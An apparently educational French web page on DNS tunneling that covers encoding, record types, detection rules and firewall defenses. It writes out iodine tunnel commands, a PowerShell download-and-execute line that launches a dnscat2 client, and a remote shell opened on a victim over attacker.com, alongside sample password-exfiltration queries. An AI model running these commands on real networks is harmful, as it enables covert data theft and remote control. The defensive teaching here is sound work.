53
Port UDP/TCP cible
~1kb/s
Débit typique
255
Octets max / label
512
Octets max réponse UDP
4096
Octets max EDNS0
// 01
Principes Fondamentaux
Le Protocole DNS Normal
Le DNS (Domain Name System) est le "annuaire" d'internet. Il traduit les noms lisibles (google.com) en adresses IP (142.250.185.78). Il utilise le port 53 en UDP (ou TCP pour les grandes réponses).
Pourquoi DNS est Exploité
- Le port 53 est rarement bloqué (internet briserait)
- Les requêtes DNS sont généralement autorisées même dans les réseaux très filtrés
- Le trafic DNS passe souvent sans inspection approfondie
- Fonctionne derrière les portails captifs Wi-Fi
Le Concept de Tunneling
Le tunneling consiste à encapsuler un protocole à l'intérieur d'un autre. Ici, on fait passer des données arbitraires (fichiers, commandes, sessions IP complètes) dans des requêtes et réponses DNS — un canal pensé pour autre chose.
Analogie Simple
Imaginez que vous pouvez seulement envoyer des cartes postales avec une adresse dessus. Pour passer des messages secrets, vous cachez votre texte dans l'adresse elle-même :
cGFzc3dvcmQ6MTIzNDU=.malware.com. Le facteur (DNS resolver) achemine la carte sans lire le texte caché.// 02
Mécanisme Détaillé
2.1 — Infrastructure Requise
1
Domaine Contrôlé par l'Attaquant
L'attaquant enregistre un domaine (
attacker.com) et configure les serveurs DNS de manière à ce que les requêtes soient acheminées vers son propre serveur NS (Name Server).
↓
2
Serveur NS Malveillant
Un serveur autoritaire (
ns1.attacker.com) est déployé. Il ne répond pas avec de vraies IPs — il décode les données encodées dans les sous-domaines des requêtes et injecte des données dans les réponses.
↓
3
Client/Malware sur la Machine Victime
Un agent (malware, outil de post-exploitation) encode les données à envoyer, les découpe en chunks, et envoie des requêtes DNS légitimes vers le résolveur DNS local.
↓
4
Résolveur DNS Intermédiaire (Naïf)
Le résolveur DNS de l'entreprise ou du FAI reçoit les requêtes, ne les comprend pas comme malveillantes, et les transmet fidèlement au serveur NS de l'attaquant.
2.2 — Flux de Communication
ASCII FLOW
┌──────────────────┐ ┌──────────────────┐ ┌─────────────────────┐
│ MACHINE VICTIME│ │ RÉSOLVEUR DNS │ │ SERVEUR NS ATTAQUANT│
│ (+ malware) │ │ (entreprise/FAI)│ │ ns1.attacker.com │
└────────┬─────────┘ └────────┬─────────┘ └──────────┬──────────┘
│ │ │
│ Requête DNS A │ │
│ bW90ZGVwYXNz.attacker.com│ │
│──────────────────────────▶│ │
│ │ Forward requête │
│ │─────────────────────────────▶│
│ │ │ Décode base64
│ │ │ "motdepass"
│ │ Réponse DNS │
│ │ (données encodées dans TXT)│
│ │◀─────────────────────────────│
│ Réponse reçue │ │
│ Décode la commande C2 │ │
│◀──────────────────────────│ │
Délégation DNS = Clé du Système
La magie du DNS tunneling repose sur la délégation. En configurant
NS attacker.com → ns1.attacker.com dans les registres publics, toute requête vers un sous-domaine de attacker.com arrivera sur le serveur de l'attaquant, traversant les firewalls sans alarme.// 03
Encodage & Transport des Données
3.1 — Anatomie d'une Requête DNS Malveillante
bW90ZGVwYXNzZQ==.a3Jha2VuLnBhc3M=.001.c2.attacker.com
DATA CHUNK 1
bW90ZGVwYXNzZQ==
SEP
.
DATA CHUNK 2
a3Jha2VuLnBhc3M=
SEP
.
SEQ NUM
001
SEP
.
SUBDOMAIN
c2
SEP
.
DOMAIN
attacker.com
→ Décodé : "motdepass" + "kraken.pass" — paquet séquencé n°1 vers le canal C2
3.2 — Contraintes DNS et Contournements
Limite des Labels
Chaque label DNS (séparé par un point) est limité à 63 caractères. Le nom de domaine complet (FQDN) ne peut pas dépasser 253 caractères. Les données doivent être fragmentées en conséquence.
Caractères Autorisés
DNS n'accepte que [a-z0-9-] dans les labels. C'est pourquoi Base32 (qui utilise a-z2-7) est préféré à Base64 (qui utilise +/=) pour les données dans les sous-domaines.
Caching & TTL
Les résolveurs DNS cachent les réponses. Pour éviter le cache, les outils génèrent des sous-domaines uniques (avec timestamp, numéro de séquence) afin que chaque requête atteigne réellement le serveur malveillant.
3.3 — Types de Records DNS Exploités
TXT
≤ 255 octets / string
Le plus utilisé pour les données. Peut contenir n'importe quelle chaîne de caractères. Très flexible pour les réponses C2.
A
4 octets (IPv4)
Retourne une adresse IPv4 — les 4 octets peuvent coder n'importe quelle donnée. Faible bande passante mais très discret.
AAAA
16 octets (IPv6)
16 octets par réponse, 4× plus efficace que A. Les outils modernes privilégient ce record.
MX
Nom de domaine
Champ "mail exchanger" utilisé pour passer des données encodées dans le nom de serveur de messagerie.
CNAME
253 octets
Alias pointant vers un autre nom. Le nom cible peut contenir des données encodées.
NULL
65535 octets
Record rarement filtré. Capacité énorme. Utilisé par des outils avancés comme dns2tcp.
3.4 — Exemple de Payload Encodé
// payload hex dump — commande "ls -la /etc" encodée
0x0000
6c 73 20 2d 6c 61 20 2f 65 74 63 0a
ls -la /etc.
Base64
bHMgLWxhIC9ldGM=
→ DNS label
Requête
bHMgLWxhIC9ldGM=.0001.c2.attacker.com
→ type A
// 04
Outils & Implémentations
Avertissement Éthique
Ces outils sont présentés à des fins éducatives et de défense. Leur utilisation non autorisée sur des réseaux tiers est illégale. Testez uniquement sur vos propres infrastructure ou en environnement de lab isolé.
4.1 — Exemple : Configuration iodine
SERVEUR (attaquant)
# Côté serveur — démarrer le serveur iodine iodined -f 10.0.0.1 tunnel.attacker.com # Options avancées : MTU, chiffrement, encodage iodined -f -P motdepasse -m 1200 10.0.0.1 tunnel.attacker.com
CLIENT (victime)
# Côté client — établir le tunnel depuis la machine victime iodine -f -P motdepasse 8.8.8.8 tunnel.attacker.com # Une interface réseau virtuelle dns0 est créée # L'attaquant peut maintenant SSH à travers le tunnel DNS ssh -D 1080 user@10.0.0.1
4.2 — Exemple : dnscat2 (C2 Channel)
DNSCAT2
# === SERVEUR === ruby dnscat2.rb --dns "domain=attacker.com,host=0.0.0.0" --security=open # === CLIENT (PowerShell, machine compromise) === IEX (New-Object System.Net.WebClient).DownloadString('https://cdn/dnscat.ps1') Start-Dnscat2 -Domain attacker.com -DNSServer 8.8.8.8 # === SERVEUR — interagir avec le shell === dnscat2> session -i 1 command (victim)> shell # → Shell interactif sur la machine victime via DNS !
// 05
Détection & Indicateurs
Anomalies Statistiques
- Volume de requêtes DNS anormalement élevé vers un seul domaine
- Durée des sessions DNS inhabituellement longue
- Débit de requêtes constant (polling régulier du C2)
- Augmentation soudaine du trafic DNS out-of-hours
Analyse des Noms de Domaine
- Sous-domaines très longs (> 30 caractères)
- Haute entropie : caractères aléatoires base64/base32
- Trop de labels (points) dans le FQDN
- Caractères inhabituels ou séquences non-humaines
Indicateurs de Records
- Requêtes TXT inhabituellement fréquentes
- Records NULL (très rares en usage légitime)
- Réponses DNS volumineuses (proche de 512B / 4096B)
- Domaines avec TTL très bas (pour éviter le cache)
5.1 — Calcul d'Entropie (Méthode Shannon)
L'entropie de Shannon mesure le caractère "aléatoire" d'un texte. Un sous-domaine légitime a une faible entropie (mots lisibles), un sous-domaine encodé a une haute entropie :
ENTROPIE FAIBLE — LÉGITIME
mail.google.comEntropie: ~3.1 bits/char
✓ Normal
ENTROPIE HAUTE — SUSPECT
bW90ZGVwYXNzZQ==.attacker.comEntropie: ~5.8 bits/char
⚠ Suspect
5.2 — Règles de Détection SIGMA / Snort
SIGMA RULE
title: DNS Tunneling - Long Subdomain Detection logsource: category: dns detection: selection: # Sous-domaine plus long que 52 caractères avant le TLD dns.question.name|re: '^[a-z0-9+/=]{52,}\.' condition: selection level: high tags: - attack.exfiltration - attack.t1048.001 # MITRE ATT&CK: Exfil over DNS
SNORT / SURICATA
# Détecter les requêtes DNS avec payload base64 long alert udp any any -> any 53 ( msg:"DNS Tunneling - Base64 Encoded Subdomain"; content:"|00 01 00 00|"; # DNS query flags pcre:"/[a-zA-Z0-9+\/]{40,}=/m"; threshold: type threshold, track by_src, count 10, seconds 60; sid:9000001; rev:1; )
5.3 — Tableau MITRE ATT&CK
// 06
Stratégies de Défense
01
DNS Firewall & Response Policy Zones (RPZ)
Déployer un DNS firewall (Cisco Umbrella, Cloudflare Gateway, Infoblox) qui bloque les domaines malveillants connus. Les RPZ permettent de créer des règles DNS qui redirigent ou bloquent les requêtes vers des domaines suspects avant même qu'elles atteignent l'internet.
02
Inspection Profonde des Paquets DNS (DPI)
Configurer les équipements réseau (NGFW, IDS/IPS) pour analyser le contenu des requêtes DNS, pas seulement l'IP de destination. Détecter l'entropie élevée, les labels anormalement longs, les types de records inhabituels (NULL, ANY).
03
Centraliser et Contrôler les Résolveurs DNS
Forcer tout le trafic DNS à passer par des résolveurs internes contrôlés. Bloquer le DNS direct sur le port 53 sortant vers des serveurs non autorisés (notamment 8.8.8.8 et 1.1.1.1 en accès direct). Utiliser une allowlist de résolveurs approuvés.
04
Monitoring & Baseline du Trafic DNS
Établir une baseline du comportement DNS normal (volume, domaines contactés, types de records). Utiliser des outils SIEM (Splunk, Elastic) pour détecter les déviations : pic de requêtes, nouveaux domaines jamais vus, sessions longues vers un même TLD.
05
DNS over HTTPS (DoH) Monitoring
Le DNS over HTTPS (port 443) chiffre les requêtes DNS et peut contourner l'inspection DNS classique. Identifier et contrôler les clients qui utilisent DoH de manière non autorisée. Certaines solutions de sécurité peuvent déchiffrer DoH pour inspection.
06
Threat Intelligence & IoC Feeds
Intégrer des flux de renseignements sur les menaces (OSINT, feeds commerciaux) qui listent les domaines C2 connus. Les outils comme dnscat2 et iodine ont des signatures réseau documentées qui peuvent être utilisées dans les règles IDS.
07
Machine Learning pour Détection d'Anomalies DNS
Des solutions avancées (Darktrace, Vectra AI, Cisco StealthWatch) utilisent le ML pour détecter le DNS tunneling en analysant des patterns comportementaux complexes : variation de l'entropie dans le temps, corrélation entre endpoints, modélisation des sessions DNS.
6.1 — Configuration Réseau Recommandée
IPTABLES / FIREWALL
# Autoriser uniquement le DNS vers les résolveurs approuvés iptables -A OUTPUT -p udp --dport 53 -d 192.168.1.1 -j ACCEPT iptables -A OUTPUT -p udp --dport 53 -j DROP iptables -A OUTPUT -p tcp --dport 53 -j DROP # Bloquer DNS-over-HTTPS vers des serveurs non autorisés iptables -A OUTPUT -p tcp --dport 443 -d 8.8.8.8 -j DROP iptables -A OUTPUT -p tcp --dport 443 -d 1.1.1.1 -j DROP # Limiter le débit des requêtes DNS (rate limiting) iptables -A OUTPUT -p udp --dport 53 -m limit --limit 50/min -j ACCEPT
// 07
Résumé Exécutif
🎯 Vecteurs d'Attaque
- Exfiltration de données sensibles (credentials, fichiers)
- Canal Command & Control (C2) persistant
- Bypass de pare-feux et portails captifs
- Persistance même après blocage des ports applicatifs
🔍 Signaux d'Alerte
- Sous-domaines longs et haute entropie
- Volume DNS anormal vers un domaine unique
- Records TXT/NULL fréquents et volumineux
- TTL très court + requêtes régulières (polling)
🛡 Contre-mesures Clés
- DNS Firewall avec RPZ et threat intel
- Résolveurs DNS centralisés et contrôlés
- DPI sur le trafic DNS port 53
- Monitoring comportemental avec baseline